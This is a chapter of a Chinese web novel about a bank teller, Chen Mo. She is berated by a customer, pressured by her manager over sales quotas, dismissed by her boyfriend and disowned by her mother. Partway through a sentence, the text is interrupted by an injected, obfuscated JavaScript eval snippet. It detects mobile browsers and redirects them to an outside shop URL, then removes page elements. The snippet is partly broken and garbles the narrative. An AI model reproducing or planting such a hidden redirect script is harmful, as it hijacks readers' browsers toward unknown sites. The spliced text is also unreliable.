第五章电话
一
早上九点十七分，陈默办到当天第七笔业务。
客户是个中年男人，四十多岁，戴眼镜，穿一件灰色Polo衫，胸口别着一支钢笔。进来的时候手里拿着手机，一边走一边看，头都不抬。
“您好，请坐，请问办什么业务？”
男人坐到窗口前，把手机放下，从包里掏出一张纸，推过来。
“转账。”
陈默接过纸，看了一眼。
收款方是某出版社，账号一串，金额四万八。备注栏里写着一行字——
《江河入海流》张晓峰版号ISBN978-7-5498-7654-2
她数了数。
书名六个字，作者名三个字，“版号”两个字，加上那一串字母数字——
二十三个字。
陈默把纸放下，抬头看男人。
“先生，您这个转账备注，需要录入系统。但是我们系统限制，备注只能输十个字。”
男人抬起头。
“什么？”
“备注只能输十个字，”陈默尽量让声音听起来正常，“您这个备注有二十多个字，输不进去。”
男人的眉头皱起来。
“输不进去？你们银行什么破系统？十个字能干什么？”
陈默深吸一口气。
“抱歉先生，这是系统限制，我也没办法。您看能不能精简一下？比如只输书名和作者——”
“精简？”男人的声音拔高了，“你知道这是什么吗？这是版号！书号！我新书要出版了，出版社等着这笔钱确认版号，你让我精简？精简了人家怎么知道是哪本书？”
“我理解，先生，但是系统——”
“我不听系统！”男人一拍窗口，“我不管你们什么系统，我这钱今天必须转过去，备注必须写全，一个字都不能少！”
陈默攥紧手指。
她看了一眼叫号屏，后面还有八个人在等。
“先生，要不您先到旁边坐一下，我请示一下领导——”
“我不坐！我就在这儿办！”男人的声音越来越大，“你们银行就是这样服务的？我存钱的时候怎么不说系统不行？我买理财的时候怎么不说十个字？现在我要转个账，你们跟我讲系统限制？”
后面排队的人开始探头看。
保安老周走过来，站在旁边，没吭声。
陈默站起来。
“先生，您别激动，我再试试——”
“试什么试！”男人一把抓起窗口凹槽里的那张纸，朝陈默扔过来，“你他妈办不了就换个人来办！叫你们行长来！”
纸片落在陈默脸上，滑下去，飘到地上。
她低头看着那张纸，没动。
男人还在骂。
“什么玩意儿！银行养你们干什么吃的？十个字都输不进去，还好意思坐在这儿？我告诉你，我今天必须投诉你！工号多少？叫你们行长！现在就叫！”
他一边骂一边拍窗口，拍得玻璃窗嗡嗡响。拍了几下不过瘾，一把抓起旁边填单台上的签字笔，往桌上一摔。
笔弹起来，打在了陈默的脸上，随后滚到陈默脚边。
她低头看那支笔。
黑色的，圆珠笔，笔帽摔飞了，不知道滚到哪去了。
男人又抓起一沓单子，往填单台上一摔。
“什么破银行！什么破服务！”
老周上前一步。
“先生，您冷静一下——”
“你谁啊？保安？滚一边去！”
老周没动，站在那儿，看着他。
男人瞪了老周一眼，又扭头看陈默。
“你站着干什么？办啊！今天不给我办好，我投诉死你！”
陈默张了张嘴。
她想说什么，但喉咙里像塞了一团棉花，什么都说不出来。
后面排队的人有人开始录像。
有人在嘀咕：“什么情况？”
有人说：“这柜员态度不行吧，客户发这么大火。”
有人说：“银行就这样，服务行业嘛，客户就是上帝。”
陈默听见了。
她都听见了。
她站着，脚边是那张被扔回来的纸，那只摔飞的笔，那沓被摔散的单子。
她不知道自己站了多久。
可能是三秒，可能是五秒。
然后她听见一个声音——
“怎么回事？”
周行长不知道什么时候过来了，站在窗口旁边，看了一眼男人，又看了一眼陈默。
“先生，您别激动，我是行长，有什么事跟我说。”
男人转向周行长，开始说。
说系统不行，说备注输不进去，说柜员态度差，说银行服务烂，说他新书要出版，出版社等着，说他必须投诉，说今天不给个说法绝不罢休。
周行长听着，点头，嗯嗯嗯，我理解，您说得对，是我们的问题。
听了五分钟。
然后她把陈默叫出来，让老张接手那笔业务。
“先生您稍等，我们马上给您办。”周行长说，“备注的事，我们想办法。您先坐一下，喝杯水。”
男人骂骂咧咧地坐到等候区去了。
周行长看了陈默一眼。
“你，跟我来。”
二
行长办公室不大，一张桌子，两把椅子，一个文件柜，窗户对着后面的停车场。
周行长坐下来，没让陈默坐。
陈默站在办公桌前，看着桌面上那一排文件夹。
“怎么回事？”周行长问。
陈默张了张嘴。
“备注……系统限制十个字，他那个备注二十多个字，输不进去，我让他精简一下，他就——”
“就发火了？”
陈默点头。
周行长看着她，看了几秒。
“陈默，你在银行干几年了？”
“五年。”
“五年了，你还不知道怎么处理这种客户？”
陈默没说话。
周行长靠到椅背上。
“客户发火的时候，你该干什么？你站着干什么？等他骂完？等他摔东西？你不会说句软话？不会说‘先生对不起，我马上帮您请示领导’？非要等他闹成这样？”
陈默垂下眼睛。
“我……我说了，我说我请示一下领导——”
“你说的是‘您先到旁边坐一下，我请示一下领导’，”周行长打断她，“你知道你这叫什么吗？你这叫把客户往外推。什么叫‘您先到旁边坐一下’？你是嫌他碍事？”
陈默攥紧手指。
“我不是那个意思——”
“我知道你不是那个意思，但客户听着就是那个意思。”周行长叹了口气，“陈默，我跟你说过多少次了，服务行业，态度决定一切。你今天态度但凡好一点，他不至于发这么大脾气。”
陈默没说话。
周行长看了她一眼，翻了翻手边的本子。
“上周那个养老金账户，你完成了几个？”
陈默愣了一下。
“两……两个。”
“两个？指标是六个。”
“我知道，但是——”
“信用卡呢？五张，完成了吗？”
陈默没说话。
周行长把本子合上。
“陈默，我不是要给你压力。但你这样下去不行。季度末了，指标还差一大截，客户还投诉，你说我怎么办？”
陈默站着，盯着桌面上那个文件夹。
“那个对公户，”周行长说，“你男朋友那个公司，到底开不开过来？”
陈默攥紧手指。
“他最近忙——”
“忙？”周行长看着她，“陈默，我跟你说句实话。你在行里五年了，我待你不薄。但你这个业绩，真不行。你要是能把那个对公户拉过来，这个季度指标就过了。要是拉不过来……”
她没说完。
但陈默听懂了。
“行，你先出去吧。”
陈默转身要走。
“对了，”周行长在身后说，“刚才那个客户，回头写个情况说明。投诉的事，我先压着，但你要有个心理准备。”
陈默停了一下。
“我知道了。”
她推开门，走出去。
三
从行长办公室出来，陈默没回工位。
她拐进消防通道，关上门，在楼梯上坐下来。
楼梯间里只有一盏感应灯，灭了，黑漆漆的。她坐在那儿，靠着墙，盯着对面的墙壁。
墙壁是灰的，刷了半截绿漆，绿漆上面有一块污渍，不知道是什么时候蹭上去的。
她盯着那块污渍，盯了很久。
然后她掏出手机，打开通讯录，找到王志强的名字。
手指悬在屏幕上。
三秒。五秒。十秒。
她按下去。
嘟——嘟——嘟——
接了。
“喂？”那边声音很吵，有人在说话，有酒杯碰撞的声音，有人在笑。
“王志强。”陈默开口。
“嗯？什么事？忙着呢。”
陈默张了张嘴。
“我……刚才被客户骂了。”
那边顿了一下。
“然后呢？”
“行长找我谈话了。”
“谈什么？”
“业绩的事。还有那个对公户——”
“行了行了，”王志强打断她，“我现在忙着呢，回头再说。”
“可是——”
嘟——嘟——嘟——
挂了。
陈默举着手机，看着屏幕上那行字。
通话结束 00:23
二十三秒。
她等了三年，打了这个电话，二十三秒。
她把手机攥在手里，攥得很紧。
感应灯灭了。
楼梯间一片黑。
她坐在黑暗里，没动。
四
晚上七点四十，陈默到家。
开门，开灯，客厅空的。
沙发垫上那个印子还在。
她站在门口，看着那个印子，看了很久。
然后她换鞋，放下包，走进卧室，躺在床上。
没开灯。没脱衣服。就那么躺着。
天花板是白的，月光照进来，有一点亮。她盯着那点亮，一动不动。
手机在口袋里震
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17387617|200269||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了一下。
她没动。
又震了一下。
她掏出来看。
妈妈
两个字在屏幕上亮着。
她盯着那两个字，看了三秒，接起来。
“喂。”
“陈默。”
那边是妈妈的声音，一开口就是那个调，不高不低，不冷不热，像在说今天吃什么。
“在忙吗？”
“没有。”
“下班了？”
“嗯。”
“吃饭了吗？”
“还没。”
那边顿了一下。
“陈默，我问你件事。”
陈默没说话。
“你那个男朋友，王志强，你是不是还不打算分？”
陈默攥紧手机。
“妈——”
“你别叫我妈。”那边打断她，“我就问你，分不分？”
陈默没说话。
“我跟你说过多少次了，那个人不靠谱。四十多岁了，不结婚，天天在外面应酬，手机里还藏着那些乱七八糟的——你以为我不知道？你以为我看不出来？”
陈默张了张嘴。
“他就是玩你，”妈妈的声音高了，“就是玩你！你还不明白吗？三年了，他带你见过父母吗？提过结婚吗？让你见过他朋友吗？什么都没有！你就是他养着玩的！”
“妈——”
“你别说话，让我说完。”妈妈的声音越来越快，“你知道别人怎么说你吗？说我女儿跟了个老男人，图人家钱，图人家房子，下贱！你以为你图到什么了？他给你什么了？就那个破房子，你住着就觉得自己值钱了？”
陈默攥紧手机，手指发白。
“妈，不是你想的那样——”
“那是哪样？”妈妈冷笑一声，“陈默，我生你养你二十八年，就是让你给老男人当玩物的？你贱不贱啊？”
陈默张着嘴，说不出话。
那边顿了一下。
“行了，我今天就把话撂这儿。你要是不跟他分手，以后就别叫我妈。我就当没生过你这个女儿。”
嘟——嘟——嘟——
挂了。
陈默举着手机，听着那一声一声的忙音。
忙音响了很久，然后停了。
屏幕暗下去。
她盯着那块暗下去的屏幕，盯了很久。
月光照进来，照在床上，照在她身上。
她躺着，一动不动。
不知道过了多久，手机又震了一下。
她低头看。
是王志强的微信：
“晚上不回去了。你早点睡。”
她盯着那行字。
盯了很久。
然后她把手机扣在床上，闭上眼。
眼泪从眼角滑下来，流进耳朵里，痒痒的。
她没擦。
就那么躺着。
窗外的月光很白，很凉。
那团脏黄色的云不知道什么时候散了，露出后面干干净净的黑。
但她没看见。
她闭着眼。
眼泪一直流。
五
凌晨两点多，陈默醒了。
她不知道自己什么时候睡着的，也不知道睡了多久。手机还扣在床上，她拿起来看了一眼。
没有新消息。
她把手机放下，坐起来，看着窗外。
月亮已经移到另一边了，光照在衣柜上，切成一条一条。
她下了床，光着脚走到客厅。
沙发垫上那个印子还在。
她站在那儿，盯着那个印子。
然后她走到沙发前，蹲下来，伸手摸了摸那个印子。
软的。凉的。和别的地方一样凉。
当她摸到那个凹陷的时候，手指顿了一下。
那个凹陷的底部，有一点湿。
不是水的那种湿。
是别的。
像什么东西，刚刚躺过，刚刚离开，留下的那一点温度，那一点潮气。
陈默把手收回来，看着自己的手指。
月光下，什么也看不清。
她把手指凑到鼻子前，闻了闻。
有一股味道。
很淡，很淡。
像那天晚上他在她面前笑的时候，嘴里发出来的那种味道。
像什么东西，放得太久，已经开始烂了。
陈默站起来，退后一步。
她站在客厅中央，看着那张沙发，看着那个印子，看着那扇门。
门关着。
他不在。
但他躺过。
刚刚躺过。
她低头看自己的手。
那根手指上，好像还沾着什么。
她转身走进洗手间，打开水龙头，洗手。
水很凉，冲在手上，冲了很久。
她抬起头，看镜子里的自己。
黑眼圈，干裂的嘴唇，凹下去的眼眶。
还有眼睛下面，那两道干掉的泪痕。
她盯着那两道泪痕，盯了很久。
然后她低下头，继续洗手。
水哗哗地流。
流了很久。
---
第五章完